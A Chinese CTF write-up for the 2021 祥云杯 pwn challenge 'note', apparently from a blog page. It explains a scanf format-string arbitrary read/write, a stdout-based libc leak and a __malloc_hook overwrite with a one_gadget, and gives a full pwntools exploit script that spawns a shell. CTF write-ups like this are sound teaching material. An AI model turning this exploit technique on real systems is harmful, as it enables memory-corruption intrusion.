2021 祥云杯 pwn-note

这是一道scanf任意读写的pwn题

漏洞点发生在上图

在第一个图那里下个断点,查看stack时发现%11$p这里有一个stdout,这个给了我们泄露libc的机会,我们可以打stdout的flag和write_ptr,具体的可以看别的师傅对stdout泄露libc分析的文章
拿到libc之后,算出ogg,ogg出来了,可以再利用scanf任意地址写打malloc为ogg。

偏移为7, 这里笔者用的ubuntu20.04的2.31libc做的,不需要利用realloc来调整可以直接利用,题目给的libc需要利用realloc来调整一下即可。

from pwn import *context(arch='amd64', os='linux', log_level='debug')file_name = './note'li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')context.terminal = ['tmux','splitw','-h']debug = 0
if debug:r = remote()
else:r = process(file_name)elf = ELF(file_name)def dbg():gdb.attach(r)menu = 'choice:'def add(size, content):r.sendlineafter(menu, '1')r.sendlineafter('size: ', str(size))r.sendafter('content: ', content)def show():r.sendlineafter(menu, '3')def say(note1, note2):r.sendlineafter(menu, '2')r.sendafter('say ? ', note1)r.sendlineafter('? ', note2)p1 = b'%11$s'
p2 = p64(0xfbad1800) + p64(0) * 3
say(p1, p2)_IO_2_1_stdin_ = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('_IO_2_1_stdin_ = ' + hex(_IO_2_1_stdin_))libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = _IO_2_1_stdin_ - libc.sym['_IO_2_1_stdin_']
li('libc_base = ' + hex(libc_base))malloc_hook = libc_base + libc.sym['__malloc_hook']
li('malloc_hook = ' + hex(malloc_hook))realloc_hook = libc_base + libc.sym['__realloc_hook']
li('realloc_hook = ' + hex(realloc_hook))one = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = libc_base + one[1]p3 = b'%7$saaaa' + p64(malloc_hook)
p4 = p64(one_gadget)
say(p3, p4)r.sendline('1')r.interactive()

2021 祥云杯 pwn-note相关推荐

  1. 2021祥云杯PassWordBox_ProVersion

    目录 前言: 程序分析 大致思路: 利用链: _IO_wfile_overflow _IO_wfile_underflow_mmap: exp: 前言: 复现一下2021祥云杯PassWordBox_ ...

  2. 2021 祥云杯 pwn-JigSaw’sCage

    2021 祥云杯 pwn-JigSaw'sCage 这道题属实是没有发现漏洞点在哪里,所以看了一下wm的wjh师傅的wp,发现漏洞出现下图 v1是int,但scanf是ld,所以溢出了4个字节,这就导 ...

  3. 2021 祥云杯 pwn-PassWordBox_ProVersion

    2021 祥云杯 pwn-PassWordBox_ProVersion 这里就没有off by null了,size也只能是large bin的,那肯定就是large bin attack了,libc ...

  4. [2021祥云杯]secrets_of_admin

    [2021祥云杯]secrets_of_admin 文章目录 [2021祥云杯]secrets_of_admin 代码分析 /的POST方式 /admin的GET方式 /admin的POST方式 /a ...

  5. 2021祥云杯部分pwn

    note 格式化字符串 本题考查了scanf的格式化字符串利用.一般我们用的都是printf的格式化字符串.这里是scanf 踩坑 一开始没有注意到sendline会多发一个换行符,导致往栈上$7的s ...

  6. 2021祥云杯部分wp

    祥云杯2021 目前只做了两道题(没办法 tcl... MISC-鸣雏恋 下载下来是个word,打开只有一句话 不太对劲,放到010里看一看发现文件头50 4B 03 04 经典压缩包了,文件后缀改成 ...

  7. 2021祥云杯 CTF pwn解 wp

    前言:题都不难,我好气,这次被大佬带飞,队里的pwn手都是神级别的,这里出了三道题,如果我不是sha,我应该能出五道,可是我好菜,这里贴出一下 note: 思路:自己构建格式化字符串漏洞,自己打,先打 ...

  8. 2021长城杯pwn部分wp

    前言: 就, 除了vmpwn都是基础glibc的heap题 king_in_heap_1: delete函数没有把free后的指针置零, 存在uaf, 然后用unsortedbin的fd指向io结构体 ...

  9. 2021 长城杯 pwn K1ng_in_h3Ap_I

    libc是2.23 菜单 add free 显然是有uaf. edit 就是输入 输入函数其实还有off by one. 有个后门 我们的思路就是简单的说因为有uaf但是没有show,所以我们就直接攻 ...

最新文章

  1. 在Yolov5 Yolov4 Yolov3 TensorRT 实现Implementation
  2. android申请权限一次性申请多个,android 6.0以上动态一次申请多个权限-最美解决方案...
  3. 怪物猎人服务器维护时间,怪物猎人云服务器
  4. CodeForces #549 Div.2 ELynyrd Skynyrd 倍增算法
  5. vsftp 使用虚拟用户
  6. 如何在M1的Mac上检查App是原生执行,还是Rosetta转译后执行?
  7. 安装Ubuntu18
  8. 三星S5P 6818开发板无线使用ADB功能方法
  9. 【文学欣赏】《卖米》北京大学首届校园原创文学大赛一等奖
  10. 为什么说采购一定要成为专家
  11. 培训班H5宣传单怎么做?快进来拿方案~
  12. 如何配置NATAPP
  13. AP 1532E register Cisco 2504 AP注册WLC
  14. java多音字首字母排序
  15. 系统错误H80004005(-2147467259),未指定的错误。
  16. c如何将数组初始化为0?
  17. Matlab eval()函数
  18. postman之什么是接口
  19. 谈一谈Java中的深拷贝和浅拷贝
  20. 04【竞品分析】的定义,分类,竞品分析报告怎么写?项目规划?

热门文章

  1. 严肃游戏的全球与中国市场2022-2028年:技术、参与者、趋势、市场规模及占有率研究报告
  2. 六年级毕业计算机考试成绩,六年级毕业考试分数_六年级毕业考试的成绩是多少...
  3. 华为开发者大会鸿蒙馀承东,全新鸿蒙 HarmonyOS 将至?余承东:华为开发者大会 2021(Cloud)来了...
  4. 获取QQ邮箱的授权码和SMTP server
  5. 小米机器人“铁大”学会打架子鼓,2.0已投入研发
  6. 【开发工具 - vscode】vscode配置C/C++运行环境
  7. ppt转换成word的几种方法
  8. 最早计算机发现黑洞,40年的黑洞之谜被最详细的模拟所解开
  9. 简单的图书管理系统用例图(UML)
  10. android 制作用户头像,android 切换头像功能实现